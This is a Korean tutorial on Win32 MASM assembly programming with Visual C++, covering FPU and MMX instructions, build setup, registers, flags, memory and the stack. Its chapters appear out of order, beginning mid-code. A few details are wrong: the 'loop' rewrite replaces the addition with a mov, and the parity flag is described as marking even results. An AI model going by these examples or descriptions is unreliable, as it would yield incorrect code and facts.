extern "C" double func(double a, double b, double c);
#endif

int main()
{
    printf("func() = %f\n", func(5.98, 34.89, 23.0));

    return 0;
}

func라고 하는 함수는 MASM로 작성한다. func함수의 내용은 다음과 같다.

.586
.model flat, c

.code

func proc \
    _a: real8,
    _b: real8,
    _c: real8

    fld     _a
    fadd    _b
    fld     _b
    fsub    _c
    fmul

    ret
func endp

end

함수의 반환값은, 스택의 탑에 넣어 둔다.

예를 들어서 다음과 같은 수식을 프로그래밍해보자.

(1) a * (b + c)
(2) |a + b| * sin(c)
(3) a * √(a + b) * cos(c)

각각 다음과 같이 된다.

; (1) a * (b + c)

fld     a
fld     b
fadd    c
fmul

; (2) |a + b| * sin(c)

fld     a
fadd    b
fabs
fld     c
fsin
fmul

; (3) a * √(a + b) * cos(c)

fld     a
fld     a
fadd    b
fsqrt
fld     c
fcos
fmul
fmul

부동 소수점 계산은 이런식이다. 크게 어렵지 않다. 부동 소수점 연산의 에러 처리는, 인텔 메뉴얼을 참조하기 바란다.


Chapter 8   MMX의 SIMD 연산

개요 : MMX를 사용

Chapter 8 - 1   MMX 연산의 개요

■MMX란?

먼저 MMX 명령에 대해 설명한다.

MMX란, 단순한 데이터 요소로부터 대규모 배열에 대한 반복 연산을 수행한다. 용도로는, 동영상, 그래픽, 비디오의 결합, 화상 처리, 오디오 합성, 음성 합성, 압축등이 있다.

말이 어려울 것이다. 실제로 샘플 프로그램을 VC++로 작성해서 알아보자.

■MMX 인스트럭션의 개요

MMX 인스트럭션은, SIMD (Single Instruction , Multiple - Data) 실행 모델이라는 형태를 취한다. 무슨 말인가하면, 하나의 인스트럭션으로 복수의 데이터를 한번에 계산한다는 것이다.

배열 char A[8] 과 char B[8] 라는 배열이 있었다고 가정하자.배열 한개의 요소를 MMX 인스트럭션을 사용하면 한번에 계산 할 수가 있다. 그림으로 설명하면 다음과 같다.

위의 예에서 알 수 있듯이 하나의 인스트럭션으로 한번에 병렬 연산을 수행하게 된다. 이런식으로 화상 처리나 오디오 합성, 음성 합성의 처리 능력을 크게 향상시킬 수가 있다.

MMX는, 8 개의 64 비트 MMX 레지스터 (MM0, MM1, ... MM7)를 가지고 있다. MMX레지스터는, 8개의 FPU 레지스터를 공유해서 사용하므로, 부동 소수점 연산과 MMX 연산을 혼합해서 사용할 경우에는 주의가 필요하다.

MMX 연산에는, 4가지의 데이터형을 계산할 때에 이용한다. Packed Byte/Packed Word/Packed Double Word/Quad Word이다. Packed Byte라는 것은, 64 비트 레지스터를 8비트씩 8개의 영역으로 나눈 형태의 데이터형이다. 그림으로 설명하면, 아래의 그림과 같다. 상자로 둘러싸여 있기 때문에, 팩(Packed)이라고 부른다.

Chapter 8 - 2   MMX를 사용할 수 있는지 체크

MMX를 사용하기 전에 MMX 인스트럭션을 사용할 수가 있는지 체크 할 필요가 있다.

체크루틴에는 CPUID 인스트럭션을 사용한다. 구체적인 프로그램은 다음과 같다.(인라인어셈 사용)

/* CPUID의 존재 체크 */

BOOL IsCPUID()
{
    DWORD dwPreEFlags, dwPostEFlags;

    _asm {
        /* EFlags 의 값획득 */
        pushfd
        pop     eax
        mov     dwPreEFlags, eax

        /* CPUID 인스트럭션의 존재체크 (ID 플래그 체크) */
        xor     eax, 00200000h
        push    eax
        popfd

        /* EFlags 의 값의 획득 */
        pushfd
        pop     eax
        mov     dwPostEFlags, eax
    }

    if(dwPreEFlags == dwPostEFlags)
        return FALSE;
    return TRUE;
}

/* MMX 가능여부 체크 */

BOOL IsMMX()
{
    DWORD dwRetEDX;

    /* CPUID 인스트럭션 체크 */
    if(! IsCPUID()) return FALSE;

    /* MMX 가능여부 체크 */
    _asm {
        mov     eax, 1
        cpuid
        and     edx, 00800000h
        mov     dwRetEDX, edx
    }
    if(dwRetEDX) return TRUE;
    return FALSE;
}

Chapter 8 - 3   포화 연산·비포화 연산

MMX 연산에는 포화 연산과 비포화 연산이 있다. 포화 연산은, 연산으로 오버플로우/언더 플로우(underflow)가 발생했을 경우 그 최대값/최소값을 자동으로 대입해 주는 연산이다. 비포화의 경우는 그것을 수행하지 않는다.

구체적인 예를 들겠다. Packed Byte에서 MMX 무부호 연산을 생각해 보자. 한개의 요소가 240 + 23 = 263 으로, 오버플로우가 발생 했을 경우, 자동으로 최대값을 대입해 준다. 즉 이 경우는, 255 가 대입된다. 다음의 그림을 보면 이해할 수 있을 것이다.

덧붙이면 PADDUSB 라는 것은, 무부호 포화 가산 연산을 수행하는 MMX 인스트럭션이다. (Packed Add Unsigned with Satuation Byte)

MMX 인스트럭션에는 다음과 같은 것이 있다. 간단히 설명한다.

데이터 전송 인스트럭션
MOVD 32 비트 데이터 전송 인스트럭션
MOVQ 64 비트 데이터 전송 인스트럭션
산술 가감(상태) 연산 인스트럭션
PADDx / PSUBx 비포화 연산 인스트럭션 x = B(BYTE) / W(WORD) / D(DWORD)
PADDSx / PSUBSx 부호 첨부 포화 연산 인스트럭션 x = B(BYTE) / W(WORD)
PADDUSx / PSUBUSx 무부호 포화 연산 인스트럭션 x = B(BYTE) / W(WORD)
곱셈 인스트럭션
PMULHx / PMULLx 곱셈 인스트럭션 x = W(WORD) / D(DWORD)
논리 연산 인스트럭션
PAND / PANDN / POR / PXOR  
쉬프트 명령
PSLLx / PSRLx 좌/우논리 쉬프트
PSRAx 오른쪽 산술 쉬프트
변환 인스트럭션
PACKSSxx 부호화 포화 팩화 xx = WB / DW
PACKUSxx 무부호 포화 팩화 xx = WB
PUNPCKHxx 상위 unpack화 xx = BW / WD / DQ
PUNPCKLxx 하위 unpack화 xx = BW / WD / DQ
제어
EMMS MMX 의 종료

마지막의 EMMS 인스트럭션은, MMX의 사용을 종료했을 때에 반드시 수행해야 한다. MMX는 FPU의 레지스터를 공유해서 사용하므로, 명시적으로 레지스터를 EMMS 인스트럭션으로 초기화해 두지 않으면 안 되기 때문이다.

Chapter 8 - 4   실제 프로그램·알파블렌딩

실제로 MMX를 사용해서 연산해 보자. 이번에는 2개의 데이터의 덧셈을 실시한다. 만약 화상자료일 경우라면,「알파블렌딩(Add Alpha-Blending)」이라는 기술이다.(반투명 처리)

 /* Dest = Dest + Src 를 수행한다
 * 데이터의 길이는 8의 배수여야만 한다
 */

void AddData(BYTE *lpDestBuf, BYTE *lpSrcBuf1, BYTE *lpSrcBuf2, DWORD nLength)
{
    _asm {
        /* 초기화 */
        mov     ecx, nLength;
        shr     ecx, 3
        mov     edi, lpDestBuf
        mov     ebx, lpSrcBuf1
        mov     edx, lpSrcBuf2

        /* 루프 연산 */
    ADD_LOOP:
        movq    mm0, [ebx]
        movq    mm1, [edx]

        /* 데이터 가산 */
        paddusb mm0, mm1

        /* 결과를 저장 */
        movq    [edi], mm0

        /* 증감(increment) */
        add     edi, 8
        add     ebx, 8
        add     edx, 8

        dec     ecx
        jnz     ADD_LOOP

        /* MMX 종료 */
        emms
    }
}

이런 간단한 예제로, MMX에 대해서 안다는 것은 불가능하다. 이런 부분을 기초로 해서 응용해 나가면, 화상 처리와 같은 부분에서 처리능력을 크게 개선할 수가 있다. 자 이제부터는 스스로 여러가지 프로그램을 짜 보고 실감해 보기바란다.


Win32 MASM 프로그래밍 소개(Visual C++이용)

Written by 권필진. 06'08 - aka Xeno

 


Chapter 1   준비사항

개요 : Win32 프로그래밍을 시작하기 전에

Chapter 1 - 1   주의 사항

MASM 프로그래밍을 하기 전에, 모든 책임은 자신이 진다는 것을 명심하기 바란다. MASM은 로우레벨의 명령어를 실행할 수 있기 때문에, 버그가 발생했을 경우 컴퓨터에 치명적인 에러 혹은 PC자체가 작동하지 않는일도 있을 수도 있다. 그러므로,

이 문서로 인하여 발생한 손해 및 문제는 필자가 어떠한 책임과 보상도 지지 않음을 숙지하고 읽어나가기 바란다.

(너무 겁먹을필요는 없다)

주의:이 문서는 2006년경에 작성 했다. 테스트 환경으로서는 WindowsXP-SP2환경으로 테스트했다. 본 문서는 수시로 변경 될 수도 있다.

Chapter 1 - 2   MASM 입수

MASM 이란, 마이크로소프트사의 어셈블러 툴이다. 현재는 무상으로 제공되기 때문에, 어셈블러공부를 하고 싶다면 지금이 최적의 시기이다. 어셈블리를 익히게 된다면 컴퓨터에 대해 지금까지 몰랐던 것을 알 수있게 될지도 모른다. 하지만, MASM을 설명하는 곳은 드믈고 자료또한 거의 없기 때문에 이렇게 문서를 작성하고 있는 것이다. 또한, 본 문서는 간단한 소개정도에 그치는 수준이며 좀더 자세한 내용은 추후로 미루는 것 또한 알아두기 바란다.

그렇다면 먼저, MASM을 구해야 한다. 이미 말했듯이, 현재는 무상으로 제공되기 때문에, 마이크로소프트의 홈페이지에서 다운로드 한다. 마이크로소프트의 DDK (Driver Development Kit) 라는 패키지 안에 포함되어있다. DDK 는, 20메가 이상의 크기일것이므로 다운로드하는데 시간이 걸릴지도 모른다.

참고로, DDK 에 들어있는 MASM은 버젼이 낮고 MMX명령어를 인식하지 못하기 때문에, 강좌와 버젼을 맞출려면 「패치」를 해주어야 한다. 패치 또한 마이크로소프트의 홈페이지에서 구할 수가 있고, 다운로드한 후 압축을 해제하고 , 파일들을 모두 MASM이 있는 디렉토리안에 복사 한 후「패치」실행 파일을 실행한다.

MASM 의 버젼이 최신상태로 되었다면, VC++ 에서 MASM를 사용할 수 있도록 설정한다. 이렇게 하면 VC환경에서 어셈블리환경을 사용할 수가 있게 되므로, 여러가지 편리한 점이 있다.

가장 먼저 해야하는 것은, MASM 를 구해야 한다. 이것은 아래의 장소에서 구할 수가 있다.

상기에서 설명했듯이 MASM을 구하고 패치를 해야하지만 번거롭다. 이럴경우 VC용 패키지가 존재한다. 본 강좌에서는

이방법을 사용하기로 한다.

Visual C++ 6.0 에 MASM를 추가하는 가장 간단한 방법은, ProcessorPack 의 추가이다. 이미 ML버전이 6.15가 포함되어 있기 때문에, 패치 단계가 필요없다. 하지만, 패키지가 SP4 ,SP5 전용이기 때문에, SP6 을 설치했다면, /C 옵션을 사용해서 압축을 해제한 후 직접 설치해 주어야한다. 참고로 VisualStudio.NET 이상 버전에는 ML.EXE 는 추가해 주지않아도 이미 포함 되어있다. 2002 는 버전 7.00 이며, 2003에는 7.10 이 포함 되어 있다. 아래의 주소에서 ProcessorPack을 다운로드 할 수있다.

http://msdn.microsoft.com/vstudio/downloads/tools/ppack/default.aspx 에서 "Download Now" 부분을 클릭한다. 혹은 http://download.microsoft.com/download/vb60ent/update/6/w9x2kxp/en-us/vcpp5.exe 링크를 클릭해서 다운 받은 후 vcpp5.exe / c 옵션으로 압축을 해제해도 된다. WinZip과 같은 압축 프로그램으로도 압축을 해제할 수있다.

압축해제한 후 해당 폴더를 VC의 설치 폴더에 통째로 복사해준 후 아래의 순서대로 경로를 잡아주면 된다.

MASM를 구했는가? MASM의 프로그램 파일명은 ML.EXE 라는 이름이다. 이 프로그램은 소스파일을 어셈블링 해주고 링크까지 해주게 되며,원한다면, 오브젝트파일만 생성해 줄 수도 있다.(16bit링커사용시)

추가로, 본강좌에 사용되는 Microsof Visual C++ 6.0은 제공해 줄 수가 없다. 각자 구하기 바란다.(-_-)

사용된 소스는 복사해서 붙여넣기를 수행해도 작동하도록 되어있으며, 텍스트뷰어는 소스파일의 링크를 클릭해서

해당 .dsw파일을 열어서 F5키를 눌러서 실행하면 된다.

 

 

Chapter 1 - 3   VC++에서 MASM을 사용하도록 설정

이제부터는, MASM를 VC++에서 사용할 수 있도록 해보자. MASM을 VC++ 에서 사용할려면, VC++의 「커스텀 빌드」라는 기능을 사용해야한다.

먼저 File -> New 를 선택해서 Win32 Application을 선택한 후 "An Empty Project"를 선택한 후 다시 File->New를

선택해서 Text File을 선택하고 파일명을 "VCMASM.ASM"이라고 정해주고 아래의 내용을 수행해 보기 바란다.

VC++에서 ML.EXE 를 실행해야 하므로, 실행파일 경로를 설정해주어야 한다. 「Tools」-> 「Options」을 선택하고 아래와 같이 설정한다.

Directories」탭으로 이동후에 반드시 「Executable Files」를 선택하기 바란다. 추가 버튼을 눌러서 압축해제한 폴더를 지정해준다. 참고로, 가장 하단에 추가하기 바란다. 본 강좌에서는 C:\VC60\VCPP5 라는 폴더이다.

이제 실제로 간단한 프로그램을 만들어 보자.

File -> New로, Win32 application 의 시작 프로젝트를 작성한다. 그런 다음에, MASM의 소스코드를 작성합니다. 이것은 File -> New -> Files탭에서, 확장자(extension)가 ASM 이 되게끔 하고 신규파일을 작성한다.

그런 다음, 커스텀 빌드의 설정을 한다. Project -> Setting을 선택하고, 어셈블리 소스 파일을 선택한다. 커스텀 빌드 탭을 선택한 후, 아래와 같이 설정한다.

Commands 텍스트 박스에는,

ml /c /coff /Cx /nologo /Fo$(OutDir)\ /Fl$(InputName) /Zi $(InputPath)

로 설정한다. 이는 디버그 모드의 경우지만, 릴리즈 모드로 할 경우, 커맨드에 있는 /Zi 플래그를 제거하면 된다.

Outputs의 텍스트박스에는,

$(OutDir)\$(InputName).obj

로 설정해 준다. 이제부터는 VC에서, Build-> Run 을 선택하면, 자동으로 어셈블해주고 링크도 VC++가 알아서 해주게 된다. 하지만, 조금 번거로운것은, 파일을 작성할 때 마다 커스텀 빌드를 설정해 줘야 한다는 것이다.

좀 더 자세한 자료는 다음부분을 참고하기 바란다 → Microsoft Support Q106399  (영어)

커스텀 빌드에 대해, 좀 더 자세하게 알고 싶다면, MSDN에 자료가 아주 상세하게 설명되어 있기 때문에, 그부분을 참조하기 바란다.

Chapter 1 - 4   최초의 MASM 프로그램

모든언어의 표준 입문 방식인 「Hello World」프로그램을, MASM으로 간단하게 만들어 보자. 물론 무슨 내용인지 몰라도 상관없다. 모르는것이 당연한 것이며, 그래서 본 문서가 있는것이다.

;**********************************************************************
; 최초 MASM 프로그래밍
; 주석은 세미콜론으로
;**********************************************************************

.586
.model flat, stdcall

NULL            EQU     0

MessageBoxA     proto :dword, :dword, :dword, :dword
ExitProcess     proto :dword

.data

TITLE1          DB '어셈블리 테스트', 0
MESSAGE         DB '~Hello World!!~', 0

.code
WinMainCRTStartup   proc

    invoke MessageBoxA, NULL, offset MESSAGE, offset TITLE1, 0
    invoke ExitProcess, 0
    ret
WinMainCRTStartup   endp
end

이 내용을 어셈블(assemble) 한 후 실행하면(F5), "~Hello World!!~"라고 표시되는 메시지 박스가 화면에 표시된다.

(안된다면 십중 팔구 오타이니 복사해서 붙여넣기 바란다)

(주의) 위의 소스에는 편의상 색을 다르게 표시했지만, 실제로는 변하지 않는다. (전용 통합환경을 사용하면 모든기능을 사용할 수가 있다. 많은것을 바라지는 말기 바란다. WinASM IDE를 사용하라.)


Chapter 2   하드웨어의 구조

개요 : 컴퓨터에 대해서

Chapter 2 - 1   하드웨어

이번에는, 간단하게 하드웨어의 구조에 대해 설명한다. 하드웨어의 구조라 하더라도, USB의 규격이나, 메인보드는 어떻게 구성되어 있는가, 그런 것을 다루는 것이 아니다. 대부분을 CPU 의 구조에 대해 설명을 할 것이다. 「최소한, 이것만은 반드시 알아야 한다」라는 부분을 위주로 해서 설명해 나갈것이다.

다음의 순서로 설명 할 것이다.

  1. 어셈블러에서 가능한 것
  2. 저장장치(레지스터/메모리/스택)
  3. 외부 입력과 외부 출력(I/O)·인터럽트
  4. BIOS·시스템 콜·VRAM

Chapter 2 - 2   어셈블러에서 가능한 것

먼저, 왜 어셈블러를 사용 할까? 그 이유는, 몇가지가 있다. 대부분의 프로그래밍은, C언어로도 충분하다. 일반적으로 말해, 언어가 고급으로 될수록 , 인터프리터성이 높아져서 , 언어가 사람이 이해하기 쉬워지지만, 그 언어로 실제 수행되는 부분은 오히려 감소하게 된다. 즉, Basic과 C언어의 예를 들면, Basic에서 할수 있는 일은 C언어로도 수행 할 수 있다.하지만 반대로, C언어로 수행할 수 있는 것이 반드시 Basic 에서 수행된다는 보장은 없다. 같은 맥락으로 C언어와 어셈블러의 관계에서도 존재한다. 예를 들어 C언어에서는, 하드웨어를 직접조작은 할 수 없다(물론 인라인어셈블리를 사용할 수는 있지만). 단지 예를 든것이다. 그렇기 때문에, 직접 하드웨어를 조작하고 싶은 경우 등에 어셈블러를 사용한다. 직접 하드 디스크의 트랙이나 섹터를 조작하고 싶은 경우에 어셈블러를 사용한다라고 생각하면 이해하기 쉬울 것이다.

프로그램이 고속성을 요구하는 경우, C언어보다 어셈블러 쪽이 일반적으로 빠르기 때문에, 이런 경우는 어셈블러에서 프로그램을 주로 짠다. 그렇지만, 어셈블러는 너무 로우레벨이므로, 프로그래밍에는 상당한 노력을 필요로 하고 코딩의 양도 많아진다. 그러므로, 어셈블러에서만 프로그래밍을 하는 것은, 현실적이지는 않다. 많은 경우, C언어등의 고급(중급) 언어와 함께 조합해서 사용하게 된다.

Chapter 2 - 3   저장장치(레지스터/메모리/스택)

기억장치에는, 3 종류가 있다. 레지스터와 메모리와 스택이다. 이 밖에도, 보조기억장치로 하드 디스크나 플로피 디스크등이 있다. 어셈블러에서는, 주로 레지스터와 스택을 이용한다.

레지스터는, CPU의 내부에 있는 기억장치이다. CPU의 내부에 존재하므로, 액세스 속도 또한 아주 빠르다. 그렇지만, 레지스터는, 무한정으로 사용할 수 있는 자원이 아니다. 레지스터의 종류에는, 3개 있다. 범용 레지스터,세그먼트 레지스터,플래그 레지스터.

레지스터 종류 해설
범용 레지스터
8개가 있다. 프로그램에서 사용된다.
세그먼트 레지스터
6개가 있다. 세그먼트(segment)의 관리에 사용된다.
상태 레지스터
1개가 있다. CPU 상태를 기억한다. 일반적으로 변경할 수 없다.

프로그래밍에서는, 거의 대부분 범용 레지스터를 사용한다. 범용 레지스터에는, 다음의 8가지가 있다. 모두 32 비트이다.

레지스터명 해설
EAX
어큐물레이터. 수치계산에 사용되는 레지스터.
EBX
베이스 레지스터. 보조 계산이나, 그 외의 용도에 사용되는 레지스터.
ECX
카운터 레지스터. 보조 계산이나, 카운터, 루프에서 사용되는 레지스터.
EDX
데이터 레지스터. 보조 계산이나, 데이터용 조작용의 레지스터.
ESI
소스 인덱스. 보조 계산이나, 데이터 처리 인스트럭션으로 사용되는 레지스터.
EDI
목적지 인덱스. 보조 계산이나, 데이터 처리 인스트럭션으로 사용되는 레지스터.
ESP
스택 포인터. 스택 처리로 사용되는 레지스터.
EBP
베이스 포인터. 스택 처리로 사용되는 레지스터.

C언어에서 변수의 수식자에 register 를 지정할 수 있다.(레지스터변수) 이런 경우 실제로는, 변수에 ESI(소스 인덱스)와 EDI(목적지 인덱스)를 사용하게 된다.또한, 계산용의 레지스터로서 ESP(스택 포인터)와 EBP (베이스 포인터) 를 사용할 수 없다. 이런 레지스터 들은, 스택관리라고 하는 중요한 임무가 있기 때문 이다. 수치계산은, 실질적으로 6개의 레지스터로 하게 된다. 각각의 레지스터에는, 고유한 역할도 있으므로, 거기에 맞춰서 프로그램을 짜지 않으면 안된다. 왜 이런 엄격한 룰이 존재하는지를 탓하지 말기 바란다. 컴퓨터는 복잡한 장치이다. 하지만 이런 기초적인 룰만 익히면 어떤언어보다 강력함을 얻을수 있다. 대충 아는 언어와는 다른 것이다.

 

32 비트의 경우, 누산기는 EAX 로 취급하지만 하위 16 비트를 AX 로서 다룰 수도 있다. AX 는 또 다시, 상위 8 비트를 AH , 하위 8 비트를 AL 로 나타낸다. 이것은, EBX ECX EDX 의 경우도 같다.

그렇다면, 이제 레지스터를 사용한 프로그램을 살펴보자.

;*****************************************************************
;  레지스터를 사용한 프로그램
;*****************************************************************

.586                   ; Pentium 용의 코드를 쓰는 경우 필요
.model flat, stdcall

NUM         EQU   1

wsprintfA   proto c :dword, :dword, :dword, :dword, :dword
MessageBoxA proto   :dword, :dword, :dword, :dword
ExitProcess proto   :dword

.data

BUFFER      DB 64 DUP(0)
STRINGS     DB '%d + %d = %d', 0
TITLENAME   DB '결과는? ', 0

.code

WinMainCRTStartup proc

    mov eax, NUM     ; 누산기에 대입
    mov ebx, NUM + 1 ; 베이스 레지스터에 대입
    add eax, ebx     ; 누산기와 베이스 레지스터를 더한다

    invoke wsprintfA, offset BUFFER, offset STRINGS, NUM, ebx, eax
    invoke MessageBoxA, 0, offset BUFFER, offset TITLENAME, 0
    invoke ExitProcess, 0

    ret
WinMainCRTStartup endp

end

덧셈을 한 후, 메시지 박스로 표시하는 프로그램이다("1+2=3"). 레지스터는, EAX(누산기)와 EBX(베이스 레지스터)를 사용하고 있다. 프로그램에서 mov 나 add 등을 니모닉이라 한다. 니모닉은, 기계어의 비트 표현을 문자표현으로 나타낸 것이다. 예를 들어 mov 라면, MOVe 의 약자로 「대입」을 의미한다. add (은)는 ADD 로 「가산」을 의미한다. 프로그램에서는 누산기와 베이스 레지스터에 수를 대입해서 ,덧셈을 수행하고 있다.

MASM에서, 함수를 프로시저라고 부른다. 프로시저의 정의는, proc - endp 로 한다. 위의 예에서는 , WinMainCRTStartup 라는 프로시저가 정의되어 있고, 그 사이의 기계어 인스트럭션이 실행되고 있다고 생각하면 된다.

이 함수는 스타트 업 코드(Startup Code)로 불리고 프로그램에서 가장 먼저 호출되는 함수다. 보통 C로 프로그램을 짜는 경우, 스타트 업 코드는 자동으로 생성되어 링크 된다. 또한 스타트 업 코드는, 프로그램을 초기화하는데 사용된다. VC++ 로 Windows 프로그래밍을 하는 경우, 스타트 업 코드는 WinMainCRTStartup 함수지만, Console 용의 프로그램의 경우는 mainCRTStartup 함수가 스타트 업 코드가 된다. 통합 환경에 의해, 스타트 업 코드 함수의 이름은 각각 다르다.반드시 정해진것은 아니다. 개발자 마음인것이다. main이란것을 찾지만 말기 바란다. 이것은 C언어의 룰일 뿐이다.실제로는 이런것은 없다.

Chapter 2 - 4   그 외 레지스터

상태 레지스터(flag register)는, 하나 밖에 없다. 레지스터의 내부는, CPU 상태를 보존하고 있다. 일반적으로 상태 레지스터 전체를 변경할 수 없다(스택을 사용하면 변경할 수 있지만, 권하는 방법은 아니다 pushf / popf). 플래그의 종류는,상태 플래그,제어 플래그,시스템 플래그의 3개가 있다. 상태 플래그는, 연산의 결과 상태가 보존된다. 상태 플래그의 종류는 다음과 같다.

플래그명 비트 해설
CF (Carry Flag) 0 carry flag. 자리수가 올라가면 세트.
PF (Parity Flag) 2 패리티플래그. 연산 결과가 짝수일 경우 세트.
AF (Adjust Flag) 4 조절 플래그. 2 진화 10진(BCD) 연산에서 사용.
ZF (Zero Flag) 6 제로 플래그. 연산 결과가 제로일 경우 세트.
SF (Sign Flag) 7 부호 플래그. 연산 결과가 부호가 있는 경우 세트.
OF (Overflow Flag) 11 오버플로우 플래그. 오버플로우가 발생하면 세트.

일반적으로 상태 플래그는 변경할 수 없지만, carry flag는 변경 가능하다. 니모닉 STC (SeT Carry flag), CLC (CLear Carry flag) 인스트럭션으로 변경할 수 있다.

제어 플래그는 DF (Direction Flag ; 방향 플래그) 밖에 없다. string 인스트럭션(메모리 전송 인스트럭션)에서, 메모리 전송 방향을 지정한다. 니모닉으로는, STD (SeT Direction flag) CLD (CLear Direction flag)를 사용한다.

시스템 플래그는, 가상 8086 인스트럭션이나 인터럽트 제어 등에 사용되지만 본 문서에서는 설명하지 않는다.인텔의 아키텍쳐 메뉴얼을 참조하기 바란다.

그러면, 상태 레지스터를 사용한 간단한 프로그램을 만들어 보자.

;*****************************************************************
;  상태 레지스터를 사용한 프로그램
;*****************************************************************

.586
.model flat, stdcall   ; 메모리모델은 플랫으로…

NUM         equ   1

wsprintfA   proto c :dword, :dword, :dword
MessageBoxA proto   :dword, :dword, :dword, :dword
ExitProcess proto   :dword

.data

BUFFER      db 64 DUP(0)
STRINGS     db '2의 10승은 %d 입니다', 0
TITLENAME   db '2의 10승을 푸는 문제', 0

.code

WinMainCRTStartup proc

    mov eax, NUM
    mov ecx, 10

MYLOOP:
    mov ebx, eax
    add eax, ebx
    dec ecx       ; ecx 의 값을 1 감소
    jnz MYLOOP    ; 제로 플래그가 세트 되지않으면 루프

    invoke wsprintfA, offset BUFFER, offset STRINGS, eax
    invoke MessageBoxA, 0, offset BUFFER, offset TITLENAME, 0
    invoke ExitProcess, 0

    ret
WinMainCRTStartup endp

end

먼저 WinMainCRTStartup 함수의 내용보자. 이번에는 2의 10승을 구하는 문제이다("2의 10승은 1024입니다"). ECX 레지스터의 내용을 1씩 감소해 가면서, ECX 레지스터가 0이 되면 종료하는 루프를 만들었다. dec (DECrement)라는 니모닉은, 레지스터의 내용을 1 감소시키는 인스트럭션이다(C에서 abc--). jnz (Jump if Non-Zero flag)란, 제로 플래그가 세트되지 않는 동안, 지정된 주소에 점프 하는 조건 점프 인스트럭션이다. 여기에서는 MYLOOP 라고 하는 주소로 점프 한다. MYLOOP 와 같이, 이름의 뒤에 구두점을(콜론) 붙여서 주소에 이름을 지정할 수가 있다.(레이블)

이번 예제에서는 상태 플래그의 사용법을 보기 위해서, 귀찮은 방법으로 프로그래밍했지만, 루프를 할 경우는 좀 더 편리한 니모닉이 준비되어 있다바로 loop (LOOP if ecx is non-zero) 라는 것이 있다. 위의 내용을 다시 작성하면 아래와 같이 된다.

mov ecx, 10    ; 루프 시키고 싶은 횟수만 ECX 에 대입

MYLOOP:
    mov ebx, eax
    mov eax, ebx
    loop MYLOOP    ; ECX 를 1줄여 0이 될 때까지 반복한다

또한 실제로 , 2의 계승을 구하는 좀 더 간단한 방법도 있다. 쉬프트를 사용하는 방법이다.

세그먼트(segment) 레지스터의 종류에는 다음과 같은 종류가 있다. 모두 16 비트이다.

레지스터 해설
CS 코드 세그먼트 실행 코드가 존재하는 세그먼트
DS ES FS GS 데이터 세그먼트 데이터가 존하는 세그먼트
SS 스택 세그먼트 스택이 존재하는 세그먼트

16 비트 시절에는 DS와 ES가 있었지만, 현재에는 FS DS 가 더해져서, 모두 「데이터 세그먼트」라고 불려진다.

세그먼트(segment)란, 연속된 메모리를 필요에 따라서 분할하고, 그 하나하나를 가리키는 의미이다. 예를 들어, 1개의 프로그램에는, 실행 코드와 데이터가 있다. 이것을 분할한 영역에 두는것이 바로, 세그먼트(segment)의 발상이다. 예를 들면, 실행 코드는 CS 세그먼트(segment)에 놓여지고, 데이터는 DS 세그먼트(segment)에 놓여지게 된다. 세그먼트(segment)는 같은 연속적인 메모리에 할당할 수 있고, 세그먼트(segment)끼리 서로 겹쳐 지는 경우도 있다.

예제 프로그램을 보면 .code 라고 하는 code segment를 정의하고 있다. 또한 .data 라는 데이터 세그먼트를 정의하고 있다. 그 밖에도 .stack 등도 있어서, 스택 세그먼트도 정의할 수가 있다. 하나의 세그먼트(segment)에는, 4 G바이트까지(!) 사용할 수 있다(2의 32승 : 그래서 32비트). 예를 들어 CS 세그먼트(segment)라면 CS:00000000h ~ CS:FFFFFFFFh 까지의 영역이 존재한다. 물론, 실제 메모리는 이렇게 사용되지는 않는다. 단지 예를 든 것이다.

 

Chapter 2 - 5   메모리

기억장치이다.「메모리」에 값을 대입할 수도 있다. 우선, 프로그램을 보자.

;*****************************************************************
;  메모리를 사용하는 프로그램
;*****************************************************************

.586
.model flat, stdcall  
; stdcall 은 함수의 호출 방법을 정의!

NUM         equ   32

MessageBoxA proto   :dword, :dword, :dword, :dword
ExitProcess proto   :dword

.data

BUFFER      db 128 dup(? )
TITLENAME   db '메모리에 대입하는 프로그램', 0

.code

WinMainCRTStartup proc

    mov    ecx, NUM            ; 카운터의 회수
    mov    edx, offset BUFFER  ; 버퍼의 포인터
    mov    ah, 20h
    ;

 _LOOP0:
    mov    byte ptr [edx], ah
    inc    ah
    inc    edx
    loop   _LOOP0

    invoke MessageBoxA, 0, offset BUFFER, offset TITLENAME, 0
    invoke ExitProcess, 0

    ret

WinMainCRTStartup endp

end

이번 프로그램은, 128바이트의 정적 버퍼를 확보하고, 그 영역에 문자를 차례차례 대입하는 프로그램이다. 실제로 「 ! "#$%&'()*+,-. /0123456789:<=>?」라는 문자가 대입된다. ASCII 코드의 20h 부터 3Fh 까지이다. 메모리에 대입하는 경우에는 ptr 연산자를 사용한다. [edx]란 edx 가 가리키는 메모리를 나타냅니다. byte ptr [edx] 란, 「edx 가 가리키는 메모리에 바이트값(8 비트)으로 값을 대입하라」라는 의미이다. 워드값으로 값을 대입하는 경우에는, word ptr [edx] 가 된다. C에서 어렵다고 하는 "포인터"이다. 어셈블리에서는 기본이 포인터이므로, 복잡하지 않다. 필자의 경우도

처음에 C를 할때 괜히 헷갈렸다. 오히려.......

Chapter 2 - 6   스택

스택은, 후입선출 (Last-In First-Out) 형태의 데이터 구조이다. 어셈블러에서 스택은 중요한 역할을 한다. 레지스터의 내용을 일시적으로 저장하거나 프로시저 호출 시에 인수를 스택에 넣거나 한다. 특히 C언어나 Pascal 등은, 함수 호출시 인수를 스택에 넣어 호출을 수행한다.이것을 함수호출 규약이라고 부른다.

그렇다면, 스택을 이용한 프로그램을 보자.

;*****************************************************************
;  스택을 사용한 프로그램
;*****************************************************************

.586
.model flat, stdcall

NUM         equ   5

wsprintfA   proto c :dword, :dword, :dword
MessageBoxA proto   :dword, :dword, :dword, :dword
ExitProcess proto   :dword

.data

BUFFER      db 64 dup(0)
TITLENAME   db '스택을 사용하는 프로그램', 0
STR1        db '카운트다운 %d', 0

.code

WinMainCRTStartup proc

    mov     ecx, NUM

 _LOOP0:
    push    ecx       ; SubFunc 로 ECX 를 스택에 보존
    call    SubFunc
    pop     ecx
    loop    _LOOP0

    invoke ExitProcess, 0

    ret

WinMainCRTStartup endp

SubFunc proc          ; 새로운 프로시저를 정의

    invoke wsprintfA, offset BUFFER, offset STR1, ecx
    invoke MessageBoxA, 0, offset BUFFER, offset TITLENAME, 0

    mov     ecx, 99   ; 여기서 ECX 의 값을 바꿔도, 스택에 값이 보존되있기 때문에 문제없다

    ret

SubFunc endp

end

